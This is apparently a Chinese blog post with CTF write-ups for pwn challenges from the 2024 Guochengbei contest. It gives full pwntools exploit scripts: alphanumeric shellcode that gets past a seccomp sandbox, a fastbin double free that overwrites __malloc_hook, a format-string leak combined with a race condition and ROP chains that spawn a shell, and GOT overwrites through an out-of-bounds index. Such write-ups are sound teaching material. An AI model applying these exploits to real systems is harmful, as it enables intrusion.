2024国城杯wp

pwn

Alpha_Shell

检查保护,保护全开:

➜  Alpha_Shell checksec pwn  
[*] '/home/ubuntu/CTF/PWN/CTF赛/国城杯2024/Alpha_Shell/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

检查沙箱

➜  Alpha_Shell seccomp-tools dump ./pwn
Radiant powers, deadly tech. Here we go!
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0c 0xc000003e  if (A != ARCH_X86_64) goto 0014
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x09 0xffffffff  if (A != 0xffffffff) goto 0014
 0005: 0x15 0x07 0x00 0x00000000  if (A == read) goto 0013
 0006: 0x15 0x06 0x00 0x00000001  if (A == write) goto 0013
 0007: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0013
 0008: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0013
 0009: 0x15 0x03 0x00 0x00000014  if (A == writev) goto 0013
 0010: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0013
 0011: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0013
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0014: 0x06 0x00 0x00 0x00000000  return KILL

这篇文章看到可以用 AE64:Alphanumeric Shellcode:纯字符Shellcode生成指南 - FreeBuf网络安全行业门户

可以考虑用openat+sendfile

# -*- coding: utf-8 -*-
from pwn import *
from ae64 import AE64
context(arch='amd64', os='linux')
context.log_level = 'debug'

# shellcode=shellcraft.openat(-100,'/flag',0)
# shellcode+=shellcraft.sendfile(1,3,0,0x100)
# shellcode=asm(shellcode)
shellcode='''
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, -100
mov rsi, rsp
//mov edx,0
xor edx, edx
xor r10, r10
push SYS_openat ;// SYS_openat
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile ;// SYS_sendfile
pop rax
syscall
'''
shellcode=asm(shellcode,arch='amd64')
shellcode=AE64().encode(shellcode,'rdx')
print (shellcode)

exp:

# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("125.70.243.22",31505)
elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]
shellcode='RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZjNTYfi9yb0t800T820T870T880t8B0T8J0T8K0T8L0T8M0T8O0T8P0T8T0T8U0T8V0T8W0t8b0T8g0T8h0T8i0T8j0T8n0T8oRAPZ0t8C0t8E0t8H0t8R0t8S0t8Y0t8Z0t8c0t8e0t8fZRAQZ0T810T8lZjUTYfi9EB0t820t830t840t850T8P0T8Q0T8R0T8S0T8URAPZ0t800t81ZHpwzflagUUPHGGT777HAf1RM1RhTTUUXZPHGGTUUUHGFVUUUjUHAbIGBUTUUjqXZP'
# gdb.attach(p,"b *$rebase(0x15AF)")
# pause()
p.sendafter('we go!',shellcode)

p.interactive()

exp2:

from pwn import *
from ae64 import AE64

p = process("./attachment")
context(os="linux", arch='amd64', log_level='debug')

p.recvuntil("\n")
shellcode = shellcraft.openat('AT_FDCWD', './flag', 0, 0) shellcode += shellcraft.sendfile(1, 3, 0, 50)
alphanumeric_shellcode = AE64().encode(asm(shellcode), 'rdx', 0, 'fast') p.send(alphanumeric_shellcode)

p.interactive()

vtable_hijack

检查保护,看下libc版本:

➜  vtable_hijack checksec pwn
[*] '/home/ubuntu/CTF/PWN/CTF赛/国城杯2024/vtable_hijack/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
➜  vtable_hijack ./libc.so.6 
GNU C Library (GNU libc) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
    crypt add-on version 2.1 by Michael Glad and others
    GNU Libidn by Simon Josefsson
    Native POSIX Threads Library by Ulrich Drepper et al
    BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.

直接Fastbin Double Free,exp如下:

# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
#p = process("./pwn")
p = remote("125.70.243.22",31454)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendlineafter("index:", str(index))
    p.recvline()
    p.sendafter("size:", str(size))


def delete_chunk(index):
    p.sendafter("choice:\n", "2")
    p.sendafter("index:", str(index))


def edit_chunk(index, content):
    p.sendafter("choice:\n", "3")
    p.sendafter("index:\n", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)


def show_chunk(index):
    p.sendafter("choice:\n", "4")
    p.sendafter("index:", str(index))


add_chunk(0, 0x200)
add_chunk(1, 0x200)
delete_chunk(0)
#add_chunk(0,0x200)
show_chunk(0)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x39bb78
info("libc base: " + hex(libc.address))

add_chunk(0, 0x68)
add_chunk(1, 0x68)

delete_chunk(0)
delete_chunk(1)
delete_chunk(0)
add_chunk(0, 0x68)
edit_chunk(0, p64(libc.sym['__malloc_hook'] - 0x23))
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
one_gadget = libc.address + [0x3f3e6, 0x3f43a, 0xd5c07][2]
edit_chunk(0, '\x00' * 0x13 + p64(one_gadget))
add_chunk(0, 0x1000)

p.interactive()

Offensive_Security(复现)

给了两个文件 attachment 和 lib2shell.so

attachment的逻辑:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init(argc, argv, envp);
  login(&password);
  if ( v3 != 1 )
    exit(1);
  vuln();
  return 0;
}

lib2shell.so 的逻辑:

image-20241210162122009

利用格式化字符串漏洞泄露 password 地址(0x6002b0)

64位注意地址隔断把地址放后面。

然后是 vuln 函数

__int64 __fastcall login(_BYTE *a1)
{
  size_t v1; // rax
  char buf[36]; // [rsp+10h] [rbp-30h] BYREF
  _BYTE s2[8]; // [rsp+34h] [rbp-Ch] BYREF
  int v5; // [rsp+3Ch] [rbp-4h]

  v5 = arc4random();
  *a1 = HIBYTE(v5);
  a1[1] = BYTE2(v5);
  a1[2] = BYTE1(v5);
  a1[3] = v5;
  a1[4] = HIBYTE(v5);
  a1[5] = BYTE2(v5);
  a1[6] = BYTE1(v5);
  a1[7] = v5;
  v1 = strlen(art);
  write(1, art, v1);
  puts("[!] Please input your Username:");
  read(0, buf, 0x10uLL);
  puts("[\x1B[1;32mINFO\x1B[0m] Welcome, ");
  printf(buf);								//格式化字符串
  puts("[!] Please input your password: ");
  read(0, s2, 8uLL);
  sleep(1u);
  if ( memcmp(a1, s2, 8uLL) )
  {
    puts("\x1B[1;31m[CRITICAL]\x1B[0m Incorrect password!");
    exit(1);
  }
  return 1LL;
}

这里创建了两个线程并同时进行

int vuln()
{
  pthread_t th; // [rsp+0h] [rbp-10h] BYREF
  pthread_t newthread; // [rsp+8h] [rbp-8h] BYREF

  pthread_create(&newthread, 0LL, (void *(*)(void *))checker, 0LL);
  pthread_create(&th, 0LL, (void *(*)(void *))guess, 0LL);
  pthread_join(newthread, 0LL);
  return pthread_join(th, 0LL);
}

条件竞争漏洞,

其中在 guess 中可以直接修改 authentication_code

这里输入两个1绕过

p.recvuntil('[!] Guess the authentication code?\n')
p.sendline(str('1'))
p.recvuntil('[!] Please enter your authentication code: ')
p.sendline(str('1'))
p.recvuntil('Login success!')
p.recvuntil('>\n')

最后是 shell 函数,有一个栈溢出

__int64 shell()
{
  _BYTE s[32]; // [rsp+0h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 1, 0LL);
  memset(s, 0, sizeof(s));
  puts(">");
  read(0, s, 0x200uLL);
  return 0LL;
}

方法一(利用题目gadget来打,打通了没理解)

注意 attachment 的gadget

image-20241210162143453

这里参考 栈溢出练习:ROP Emporium - 我可是会飞的啊

看博客说本题的 al 初值经过测试确定为 0(这里具体测试没有测试出来)

exp:

from pwn import *
context(log_level='debug')
context(arch='amd64')
#p=remote('125.70.243.22',31633)
elf=ELF('./pwn')
p=process('./pwn')

gdb.attach(p,"b *$rebase(0x1604)\nc")
pause()

p.recvuntil('Username:')
pwd=0x6002b0
payload=b'%9$saaaa'+p64(pwd)
p.send(payload)
p.recvuntil('Welcome, \n')
pswd=u64(p.recv(8))
out=0x400644
log.success('password = '+hex(pswd))
p.recvuntil('[!] Please input your password:')
p.send(p64(pswd))
#pause()
p.recvuntil('[!] Guess the authentication code?\n')
p.sendline(str('1'))
p.recvuntil('[!] Please enter your authentication code: ')
p.sendline(str('1'))
p.recvuntil('Login success!')
p.recvuntil('>\n')
#pause()
pop_rdi_ret = 0x0000000000400661       # : pop rdi ; ret
stosb_rdi_al_ret = 0x000000000040065f   # : stosb byte ptr [rdi], al ; ret
xlatb_ret = 0x000000000040064E          # : xlat ; ret
bextr_ret = 0x0000000000400650

padding = b'A' * 0x28

bufffer = 0x600800
print_file = 0x000000000400647

def set_rbx(b):
    p = b""
    p += pack(bextr_ret)
    p += pack(0xE000)
    p += pack(b - 0x0D093)
    return p

def set_al(a,offset):
    tmp = next(elf.search(a)) - offset
    #print(hex(tmp))
    p = pack(xlatb_ret)
    return set_rbx(tmp) + p

is_first = True
def save_al(val,offset):
    global is_first
    p = b""
    if is_first:
        p += pack(pop_rdi_ret)
        p += pack(bufffer)
        is_first = False
    p += pack(stosb_rdi_al_ret)
    return set_al(val,offset) + p

def write_str(s):
    p=b""
    last_al = 0
    for i in s:
        p += save_al(p8(i),last_al)
        last_al = i
    return p


payload = write_str(b"flag")
payload += pack(pop_rdi_ret)
payload += pack(bufffer)
payload += pack(print_file)

p.sendline(padding + payload)

p.recvuntil(b'}')

p.interactive()

方法二(利用泄露libc来打system(/bin/sh))

exp:

# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]

pop_rdi=0x0000000000400661
ret=0x0000000000400462
pwd=0x6002b0

# gdb.attach(p,"b *$rebase(0x1449)")
# pause()
p.recvuntil('Username:')
payload=b'%7$s'
p.send(payload)
p.recvuntil("Welcome, \n")
password=u64(p.recv(8))
libc_base=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x21a780
info("password: "+hex(password))
info("libc_base: "+hex(libc_base))
p.recvuntil(b'password: \n')
p.send(p64(password))

p.sendline("1")
p.recvuntil("authentication code:")
p.sendline("1")
p.recvuntil(b'>\n')

binsh=libc_base+libc.search("/bin/sh\x00").next()
system=libc_base+libc.sym['system']
payload='a'*0x28+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)

p.interactive()

beverage store(复现)

检查保护,got表可写:

➜  beverage store checksec pwn
[*] '/home/ubuntu/CTF/PWN/CTF赛/国城杯2024/beverage store/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

主函数:

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  check_vip();
  buy();
}

check_vip()函数部分,可以看到有随机数

unsigned __int64 check_vip()
{
  int v1; // [rsp+8h] [rbp-28h] BYREF
  int v2; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  seed = time(0LL);
  puts("input yours id");
  read(0, buf, 0x10uLL);
  strcpy(name, buf);
  srand(seed);
  v2 = rand();
  puts("Input yours id authentication code:");
  __isoc99_scanf("%d", &v1);
  if ( v2 != v1 )
  {
    puts("Authentication error!");
    exit(0);
  }
  return v4 - __readfsqword(0x28u);
}

read 读0x10字节到buf,注意 strcpy buf 到 name 0x10个字节,可以覆盖 seed 从而绕过伪随机数。

image-20241210162203274

buy()函数:

void __noreturn buy()
{
  int v0; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("welcome to my beverage store");
  puts("What type of drink do you want");
  puts("1 juice\n2 coffe\n3 milk tea\n4 wine");
  __isoc99_scanf("%d", &v0);
  if ( v0 > 4 )
  {
    printf("out of range");
    exit(1);
  }
  list((unsigned int)v0);
  puts("which one to choose");
  read(0, &section[16 * v0], 0x10uLL);
  puts("succeed");
  puts(&section[16 * v0]);
  exit(0);
}

数组越界,先把exit 的 plt 表改成 buy 函数,从而可以无限利用,接着泄露 libc 地址, 改 printf 为 system,再改 exit 为 vuln 函数 getshell。

image-20241210162217133

exp:

# -*- coding: utf-8 -*-
from pwn import *
# from LibcSearcher import *
p = process("./pwn")
#p = remote("127.0.0.1",8888)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os,log_level='debug')
#context.terminal = ["tmux", "splitw", "-h"]

payload='a'*8+'1'*8
p.sendafter("id",payload)
p.recvuntil(b'code:')
p.sendline(str(1366868856))

# gdb.attach(p,"b *0x40133B\nc")
# pause()
p.recvuntil('wine')
buy = 0x40133b
vuln = 0x401511
p.sendline('-4')
p.sendafter(b"which one to choose\n", p64(buy))
p.sendlineafter('wine',"-5")
print("puts_got: "+hex(elf.got['puts']))
p.sendafter(b"which one to choose\n", '\x50')
p.recvuntil("succeed\n")
libc.address=u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x81550
info("libc_base: "+hex(libc.address))
p.sendlineafter('wine',"-7")
p.sendafter("which one to choose\n", p64(libc.sym['system']))
p.sendlineafter('wine',"-4")
p.sendafter("which one to choose\n", p64(vuln))

p.interactive()

复现参考2024国城杯 WriteUp - Sevedy - 博客园

posted @   cosyQAQ  阅读(99)  评论(2编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示